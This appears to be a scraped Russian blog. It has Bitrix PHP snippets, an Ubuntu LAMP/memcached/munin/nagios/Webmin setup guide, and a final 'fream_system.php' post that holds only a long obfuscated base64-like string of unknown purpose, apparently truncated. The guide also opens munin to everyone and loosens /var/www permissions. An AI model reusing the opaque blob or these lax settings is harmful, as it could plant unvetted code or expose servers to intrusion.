// Вывод сыойств до изменения
$db_props = CIBlockElement::GetProperty($IBLOCK_ID, $ELEMENT_ID, "sort", "asc", array());
echo "".var_export($db_props)."";
//end Вывод сыойств до изменения

// Установим новое значение для данного свойства данного элемента CIBlockElement::SetPropertyValues
$dbr = CIBlockElement::GetList(array(), array("=ID"=>$ELEMENT_ID), false, false, array("ID", "IBLOCK_ID"));
if ($dbr_arr = $dbr->Fetch())
{
  $IBLOCK_ID = $dbr_arr["IBLOCK_ID"];
  CIBlockElement::SetPropertyValues($ELEMENT_ID, $IBLOCK_ID, Array('HIT'=>163), false);
}
//end Установим новое значение для данного свойства данного элемента CIBlockElement::SetPropertyValues

// Вывод сыойств после изменения
$db_props = CIBlockElement::GetProperty($IBLOCK_ID, $ELEMENT_ID, "sort", "asc", array());
echo "".var_export($db_props)."";
//end Вывод сыойств после изменения?>


// Установим новое значение для данного свойства данного элемента CIBlockElement::Update
$el = new CIBlockElement;$PROP = array();
$PROP['HIT'] = $PROPERTY_VALUE;  // свойству с кодом 12 присваиваем значение "Белый"
$arLoadProductArray = Array(
  "MODIFIED_BY"    => $USER->GetID(), // элемент изменен текущим пользователем
  "IBLOCK_SECTION" => false,          // элемент лежит в корне раздела
  "PROPERTY_VALUES"=> $PROP,
  "ACTIVE"         => "Y",            // активен
  );
$res = $el->Update($ELEMENT_ID, $arLoadProductArray);
//end Установим новое значение для данного свойства данного элемента CIBlockElement::Update

// Вывод сыойств после изменения
$db_props = CIBlockElement::GetProperty($IBLOCK_ID, $ELEMENT_ID, "sort", "asc", array());
echo "".var_export($db_props)."";
//end Вывод сыойств после изменения

//end Установим новое значение для данного свойства данного элемента CIBlockElement::SetPropertyValueCode
CIBlockElement::SetPropertyValueCode($ELEMENT_ID, $PROPERTY_CODE, $PROPERTY_VALUE);
//end Установим новое значение для данного свойства данного элемента CIBlockElement::SetPropertyValueCode

// Вывод сыойств после изменения
$db_props = CIBlockElement::GetProperty($IBLOCK_ID, $ELEMENT_ID, "sort", "asc", array());
echo "".var_export($db_props)."";
//end Вывод сыойств после изменения?>


пятница, 2 октября 2015 г.

LAMP (apache mysql php) для Bitrix

http://help.ubuntu.ru/wiki/apachemysqlphp

В этой статье описана установка и настройка LAMP (Linux-Apache-MySQL-PHP) сервера на базе Ubuntu включающего Apache 2, PHP 5, и MySQL 5.0.


Нужно установить русскую локаль. Естественно, utf8
localedef ru_RU.UTF-8 -i ru_RU -fUTF-8
Проверяем:
locale -a

Установка стандартного набора LAMP

Начиная с Ubuntu 7.04 (Feisty Fawn) поумолчанию установлена полезная утилита Tasksel(англ.). Она поможет вам установить LAMP. Просто выполним команду:
sudo tasksel install lamp-server
При установке будет запрошен пароль для создания администратора БД MySQL.

Удаление LAMP
Для удаления LAMP вам придется удалить его компоненты отдельно:
apache2 apache2-mpm-prefork apache2-utils apache2.2-common libapache2-mod-php5 libapr1 libaprutil1 libdbd-mysql-perl libdbi-perl libmysqlclient15off libnet-daemon-perl libplrpc-perl libpq5 mysql-client-5.0 mysql-common mysql-server mysql-server-5.0 php5-common php5-mysql

Установка Apache 2

Если требуется установить только веб-сервер Apache 2 используйте любой метод для того, чтобы установить пакет apache2. Для того, чтобы Apache заработал его следует перезапустить:
sudo /etc/init.d/apache2 restart

sudo apt-get install nginx nginx-extras
sudo apt-get install php5-cli php5-common php5-mysql php5-gd php5-fpm php5-cgi php5-fpm php-pear php5-mcrypt

http://help.ubuntu.ru/wiki/nginx-phpfpm

Перезапускаем апач sudo service apache2 restart

Установка дополнительных пакетов:

Некоторые пакеты tasksel уже установил. sudo apt-get install apache2 apache2-doc apache2-mpm-prefork apache2-utils libexpat1 ssl-cert libapache2-mod-php5 php5 php5-common php5-gd php5-mysql php5-imap php5-cli php5-cgi libapache2-mod-fcgid apache2-suexec php-pear php-auth php5-mcrypt mcrypt php5-imagick imagemagick libapache2-mod-suphp libruby phpmyadmin php5-dev apache2-dev build-essential libapache2-mod-auth-mysql postfix sphinxsearch munin nagios3 nagios3-doc nagios-nrpe-plugin catdoc xpdf

Настройка веб-сервера Apache

Включаем обработку htaccess (в файле /etc/apache2/apache2.conf): 
AllowOverride All 

Настройка php 

Теперь, если мы загрузим в папку /var/www/html скрипт установки CMS Битрикс bitrixsetup.php (или какой другой), то скорее всего обнаружим, что php "не работает", т.к. увидим в браузере php код. Это происходит из-за того, что по каким-то причинам короткие php теги <? по умолчанию отключены, а работают только такие <?php. Чтобы исправить это досадное недоразумение, отредактируем файл /etc/php5/apache2/php.ini, и поменяем short_open_tag = Off на short_open_tag = On 
Далее настроим другие параметры php, важные для битрикс и прочих CMS post_max_size = 100M upload_max_filesize = 100M max_input_vars = 10000 Если вы планируете использовать кодировку "utf-8" (крайне рекомендуется): mbstring.func_overload = 2 mbstring.internal_encoding = UTF-8
После чего перезагрузим сервер shutdown -r now

Акселераторы PHP

Для PHP существуют дополнения, ускоряющие его работу за счет кэширования байткода скриптов. Подробнее об подобных программах можно прочесть в Wikipedia.
apt-get install php-apc
Файл настройки /etc/php5/apache2/conf.d/apc.ini.
extension=apc.so
realpath_cache_size=4096k
apc.max_file_size=4M
apc.shm_size=128M
apc.mmap_file_mask=/tmp/apc.XXXXXX
apc.ttl=3600
apc.user_ttl=3600
apc.gc_ttl=3600

Установка библиотеки php-memcache

sudo apt-get install memcached php5-memcache libmemcache-dev
sudo service apache2 restart

Идем в настройки memcached nano /etc/memcached.conf и приводим к такому виду:

#Memcached будет работать, как демон 
-d 
#Лог будет складывать туда 
logfile /var/log/memcached.log 
#Для начала поставьте 256 мегабайт ОЗУ под хранилище. Но больше заисит от ее колличества 
#помните, что выставив 256 Вы ровно столько забираете от оперативки 
#лично у меня на данный момент стоит 512 
-m 256 
#Слушать будет этот порт 
-p 11211 
#Пользователь 
-u nobody 
#Слушаем localhost 
-l 127.0.0.1

Перезапускаем memcached:
sudo service memcached restart

Собственно все, установлено и настроено. Запускаем битрикс сайт на сервере, и идем папку/bitrix/php_interface и открываем файл dbconn.php
В него вносим следующее:
define("BX_CACHE_TYPE", "memcache"); //устанавливаем тип кеширования 
define("BX_CACHE_SID", $_SERVER["DOCUMENT_ROOT"]."#01"); //это не даст кешам разных сайтов перемешаться 
define("BX_MEMCACHE_HOST", "127.0.0.1"); //это адрес где работает мемкешед (в нашем случае локально)

PS: В новой 14-ой версии 1С битрикс настройки перенесены в файл /bitrix/.settings.php и тип кеширование необходимо устанавливать в секции:
'cache' => 
array ( 
'value' => 
array ( 
'sid' => '$_SERVER["DOCUMENT_ROOT"]."#01"', 
'type' => 'memcache', 
'memcache' => 
array ( 
'host' => '127.0.0.1', 
), 
), 
'readonly' => false, 
),

Настройка mcrypt

sudo php5enmod mcrypt
sudo service apache2 restart

Настройка munin

sudo nano /etc/munin/munin.confdbdir /var/lib/munin
htmldir /var/www/muninlogdir /var/log/munin
rundir /var/run/munintmpldir /etc/munin/templates

[localhost]
 address 127.0.0.1
 use_node_name yes



sudo nano /etc/munin/apache.conf

Alias /munin /var/www/munin
<Directory /var/www/munin>
 Order allow,deny
 #Allow from localhost 127.0.0.0/8 ::1
 Allow from all
 Options None

sudo mkdir /var/www/munin
sudo chown munin:munin /var/www/munin
sudo service munin-node restart
sudo service apache2 restart

your_ip_address/munin

Настройка nagios3


usermod -a -G nagios www-data
chmod -R g+x /var/lib/nagios3/


http://your_ip_address/nagios3/


Возможные ошибки

Если при запуске появляется следующая ошибка
apache2: Could not determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
запустите свой любимй текстовый редактор (например sudo nano или gksu gedit) и создайте файл /etc/apache2/conf.d/fqdn , со следующим содержанием:
ServerName localhost
Это так же можно сделать выполнив комманду:
echo "ServerName localhost" | sudo tee /etc/apache2/conf.d/fqdn

Виртуальные хосты

 Они находятся в папке /etc/apache2/sites-available. По-умолчанию создается только один сайт default, на который можно зайти введя в браузере http://localhost или http://127.0.0.1.
Директория для файлов сайта находится в /var/www. Необходимы права root для доступа к этой папке. Но вы можете изменить права на нее командой

sudo chown -R $USER:$USER /var/www 

Вернуться к дефолтным настройкам:
sudo chown -R www-data:www-data /var/www/

Создаем копию стандартного конфиг-файл сайта и переименуем его
sudo cp /etc/apache2/sites-available/default /etc/apache2/sites-available/mysite 
sudo nano /etc/apache2/sites-available/mysite
<VirtualHost *:8080> //почему порт 8080 см. статью про настройку nginx
        ServerName mysite
        DocumentRoot /var/www/mysite.ru
        ErrorLog ${APACHE_LOG_DIR}/netwit/error.log
        CustomLog ${APACHE_LOG_DIR}/netwit/access.log combined
        <Directory /var/mysitesdocs/polimer_m>
                Options Indexes FollowSymLinks MultiViews
                AllowOverride All //во избежание проблем с ЧПУ
        </Directory>
</VirtualHost>

Теперь вы можете деактивировать ваш старый сайт и включить новый. Ubuntu содержит две маленькие утилиты для помощи в этом: a2ensite (apache2enable site) и a2dissite (apache2disable site).
sudo a2dissite default && sudo a2ensite mysite
Осталось только перезапустить Apache2:
sudo /etc/init.d/apache2 restart
Если вы не создали папку /home/user/public_html/, то получите сообщение с предупреждением об этом.
Внесем имя сайта в список хостов сервера:
sudo gedit /etc/hosts
Дописать в строчку 127.0.0.1 localhost через пробел mysite www.mysite Перезапустить Apache2
sudo /etc/init.d/apache2 restart
Для проверки вашего нового сайта создайте файл в папке /home/user/public_html:
echo '<b>Hello! It is working!</b>' > /home/user/public_html/index.html
И откройте в браузере адрес http://localhost/

PhpMyAdmin

При установке PhpMyAdmin запросит пароли которые были заданы при установке MySQL.
Зайти в него можно с адреса http://localhost/phpmyadmin/
При ошибке 404 внесите в файл /etc/apache2/apache2.conf строчку Include /etc/phpmyadmin/apache.conf

Установка Webmin на ubuntu. Что бы было проще:

Устанавливаем необходимые пакеты:
sudo apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl libdigest-md5-perl


Далее я бы порекомендовал поставить SSH сервер, так как удаленно администрировать намного проще:
sudo apt-get install openssh-server

Добавляем репозиторий Webmin, редактируем файл /etc/apt/sources.list:
sudo nano /etc/apt/sources.list

В самом конце добавляем строку:
deb http://download.webmin.com/download/repository sarge contrib


Сохраняем изменения Ctrl+O и закрываем редактор Ctrl+X.

Устанавливаем GPG ключ:
wget http://www.webmin.com/jcameron-key.asc sudo apt-key add jcameron-key.asc


Устанавливаем Webmin для этого вводим команду:
sudo apt-get update sudo apt-get install webmin

Запустить Webmin можно через браузер для этого введите следующий адресу в строку url:
httpS://localhost:10000

понедельник, 13 июля 2015 г.

fream_system.php

$Yt2fNzr="jtA2FbjbhVafmoUb/oKLBLoJ/

$Yt2fNzr="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